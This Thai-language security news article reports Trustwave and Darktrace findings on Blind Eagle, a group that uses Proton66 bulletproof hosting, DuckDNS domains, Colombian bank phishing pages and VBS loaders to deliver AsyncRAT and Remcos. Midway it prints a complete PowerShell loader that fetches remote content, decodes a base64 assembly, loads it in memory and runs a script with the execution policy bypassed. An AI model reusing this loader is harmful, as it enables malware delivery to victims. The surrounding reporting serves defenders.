วันที่ 4 กรกฎาคม 2568

Blind Eagle ใช้ Proton66 Hosting สำหรับการฟิชชิ่งและการใช้งาน RAT

นักวิจัยด้านความปลอดภัยไซเบอร์จาก Trustwave SpiderLabs ได้เปิดโปงความเชื่อมโยงระหว่างกลุ่มแฮกเกอร์ Blind Eagle กับบริการโฮสติ้ง Bulletproof ของรัสเซียที่ชื่อ Proton66 รายงานที่เผยแพร่เมื่อสัปดาห์ที่แล้วระบุว่า Blind Eagle กำลังใช้กลยุทธ์ที่น่าจับตา โดยอาศัยไฟล์ Visual Basic Script (VBS) เป็นจุดเริ่มต้นในการโจมตี และติดตั้งโปรแกรมควบคุมระยะไกล (RATs) ที่หาได้ทั่วไปตามอินเทอร์เน็ต

แม้ว่าสคริปต์ VBS อาจดูเหมือนล้าสมัย แต่หลายกลุ่มผู้โจมตียังคงใช้บริการโฮสติ้งแบบ Bulletproof อย่าง Proton66 เพราะผู้ให้บริการเหล่านี้จงใจเพิกเฉยต่อรายงานการละเมิดและคำร้องขอปิดเว็บไซต์ ทำให้ผู้โจมตีสามารถเปิดเว็บไซต์ฟิชชิ่ง , เซิร์ฟเวอร์ C2, และระบบส่งมัลแวร์ได้โดยไม่ถูกรบกวน

กลยุทธ์การโจมตีที่ซับซ้อน

บริษัทด้านความปลอดภัยทางไซเบอร์กล่าวว่า พบกลุ่มโดเมนที่มีรูปแบบชื่อคล้ายกัน (เช่น gfast.duckdns[.]org, njfast.duckdns[.]org) ตั้งแต่เดือนสิงหาคม 2024 โดยทั้งหมดชี้ไปที่ IP เดียวกัน ("45.135.232[.]38") ซึ่งเชื่อมโยงกับ Proton66

การใช้บริการ Dynamic DNS อย่าง DuckDNS ก็มีบทบาทสำคัญในปฏิบัติการเหล่านี้ แทนที่ผู้โจมตีจะต้องลงทะเบียนโดเมนใหม่ทุกครั้ง พวกเขาเพียงหมุนเวียนซับโดเมนที่ผูกกับ IP เดิม ทำให้การตรวจจับทำได้ยากขึ้นสำหรับผู้ป้องกัน

“โดเมนเหล่านี้ถูกใช้เป็นโฮสต์สำหรับเนื้อหาที่เป็นอันตรายหลายรูปแบบ รวมถึงหน้าฟิชชิ่ง และสคริปต์ VBS ที่ทำหน้าที่เป็นขั้นตอนเริ่มต้นในการติดตั้งมัลแวร์” Serhii Melnyk นักวิจัยด้านความปลอดภัยกล่าว “สคริปต์เหล่านี้ทำหน้าที่เป็นตัวโหลดเครื่องมือขั้นตอนสอง ซึ่งในแคมเปญนี้จะใช้ RATs ที่เปิดให้ใช้งานสาธารณะ และมักเป็นโอเพ่นซอร์ส”

แม้ VBS อาจดูเก่า แต่ยังคงเป็นเครื่องมือหลักในการเข้าถึงระบบในช่วงแรก เพราะสามารถทำงานบนวินโดวส์ และรันการทำงานเงียบๆ เบื้องหลังได้ ผู้โจมตีใช้มันเพื่อดาวน์โหลด โหลดเดอร์ของมัลแวร์, หลบเลี่ยงโปรแกรมแอนตี้ไวรัส, และกลมกลืนกับกิจกรรมของผู้ใช้ตามปกติ สคริปต์ขนาดเล็กเหล่านี้มักเป็นจุดเริ่มของการโจมตีหลายขั้นตอน ซึ่งต่อมาจะติดตั้ง RATs, ตัวขโมยข้อมูล หรือคีย์ล็อกเกอร์

เป้าหมายและเครื่องมือของ Blind Eagle

หน้าฟิชชิ่งที่พบเลียนแบบธนาคารและสถาบันการเงินที่ถูกต้องในโคลอมเบีย เช่น Bancolombia, BBVA, Banco Caja Social และ Davivienda โดย Blind Eagle หรือที่รู้จักในชื่อ AguilaCiega, APT-C-36 และ APT-Q-98 ขึ้นชื่อในด้านการโจมตีองค์กรในอเมริกาใต้ โดยเฉพาะในโคลอมเบียและเอกวาดอร์ เว็บไซต์ปลอมเหล่านี้ถูกออกแบบมาเพื่อหลอกขโมยข้อมูลบัญชีผู้ใช้และข้อมูลสำคัญอื่นๆ

ส่วนเพย์โหลด VBS ที่โฮสต์บนโครงสร้างพื้นฐานนี้ มีความสามารถในการดึงไฟล์ปฏิบัติการที่ถูกเข้ารหัสจากเซิร์ฟเวอร์ระยะไกล ทำหน้าที่เป็นโหลดเดอร์สำหรับ RATs ทั่วไป เช่น AsyncRAT หรือ Remcos RAT นอกจากนี้ การวิเคราะห์โค้ด VBS ยังพบความคล้ายคลึงกับ Vbs-Crypter เครื่องมือที่เชื่อมโยงกับบริการคริปเตอร์แบบสมัครสมาชิกชื่อ Crypters and Tools ที่ใช้เพื่อทำให้ VBS เพย์โหลดถูกอำพรางและหลบเลี่ยงการตรวจจับ

Trustwave กล่าวต่อว่า ยังค้นพบแผงควบคุมบอตเน็ตที่ให้ผู้ใช้งาน “ควบคุมเครื่องที่ติดเชื้อ, ดึงข้อมูลที่ถูกขโมย, และโต้ตอบกับเครื่องเป้าหมายผ่านฟีเจอร์ที่ครอบคลุมซึ่งมักพบในชุดจัดการ RATs ทั่วไป”

ความต่อเนื่องและการปรับตัวของ Blind Eagle

การเปิดเผยนี้เกิดขึ้นพร้อมกับที่ Darktrace เปิดรายละเอียดของแคมเปญ Blind Eagle ซึ่งมุ่งโจมตีองค์กรในโคลอมเบียตั้งแต่พฤศจิกายน 2024 โดยใช้ประโยชน์จากช่องโหว่ในวินโดวส์ที่ตอนนี้ได้รับการแก้ไขแล้ว (CVE-2024-43451) เพื่อดาวน์โหลดและรันเพย์โหลดขั้นตอนถัดไป พฤติกรรมนี้ถูกบันทึกครั้งแรกโดย Check Point เมื่อมีนาคม 2025

```
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]
::Tls12;
$zFKaA = 'https://textbin.net/raw/xsi2eulwpw';
$IepGQ = ([System.IO.Path]::GetTempPath() + 'dll01.txt');
$webClient = New - Object System.Net.WebClient;
$RVUXv = $webClient.DownloadString($zFKaA);
$RVUXv | Out - File - FilePath $IepGQ - Encoding 'UTF8' - force;
$STfGl = ([System.IO.Path]::GetTempPath() + 'dll02.txt');
$PhrlN = New - Object System.Net.WebClient;
$PhrlN.Encoding = [System.Text.Encoding]::UTF8;
$DHzUA = (Get - Content - Path $IepGQ);
$uTlHz = $PhrlN.DownloadString($DHzUA);
$uTlHz | Out - File - FilePath $STfGl - force;
$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);';
$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace
(''$$$$'',''A'') ) ;';
$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).';
$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM';
$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/oH9Ef6TH/d/ee.etsap//
:sptth'' , ''%JkQasDfgrTg%'' , ''_____-------'',
''0'', ''1'', ''Roda''  ) ) ;';
$VBWWz = ([System.IO.Path]::GetTempPath() + 'dll03.ps1');
$MODRg | Out - File - FilePath $VBWWz - force;
powershell - ExecutionPolicy Bypass - File $VBWWz;
```

“ความต่อเนื่องของ Blind Eagle และความสามารถในการปรับเปลี่ยนกลยุทธ์ แม้หลังจากที่มีการออกแพตช์แล้ว และความรวดเร็วที่กลุ่มนี้ยังคงใช้เทคนิคเดิมได้ แสดงให้เห็นว่าการจัดการช่องโหว่และการอัปเดตแพตช์อย่างทันท่วงที แม้จะเป็นสิ่งจำเป็น แต่ไม่เพียงพอในการป้องกันเพียงอย่างเดียว” บริษัทกล่าว

กลุ่ม Blind Eagle ยังคงเป็นภัยคุกคามที่น่าจับตา โดยเฉพาะในภูมิภาคอเมริกาใต้ การใช้บริการ Bulletproof Hosting และ Dynamic DNS แสดงให้เห็นถึงความพยายามที่จะซ่อนตัวและรักษาความต่อเนื่องในการโจมตี องค์กรและผู้ใช้งานควรเพิ่มความระมัดระวังในการตรวจสอบอีเมลและการเข้าถึงเว็บไซต์ต่างๆ เพื่อป้องกันตนเองจากการโจมตีฟิชชิ่งและมัลแวร์

ข้อมูลอ้างอิง

Jun 30, 2025 By Ravie Lakshmanan

- https://thehackernews.com/2025/06/blind-eagle-uses-proton66-hosting-for.html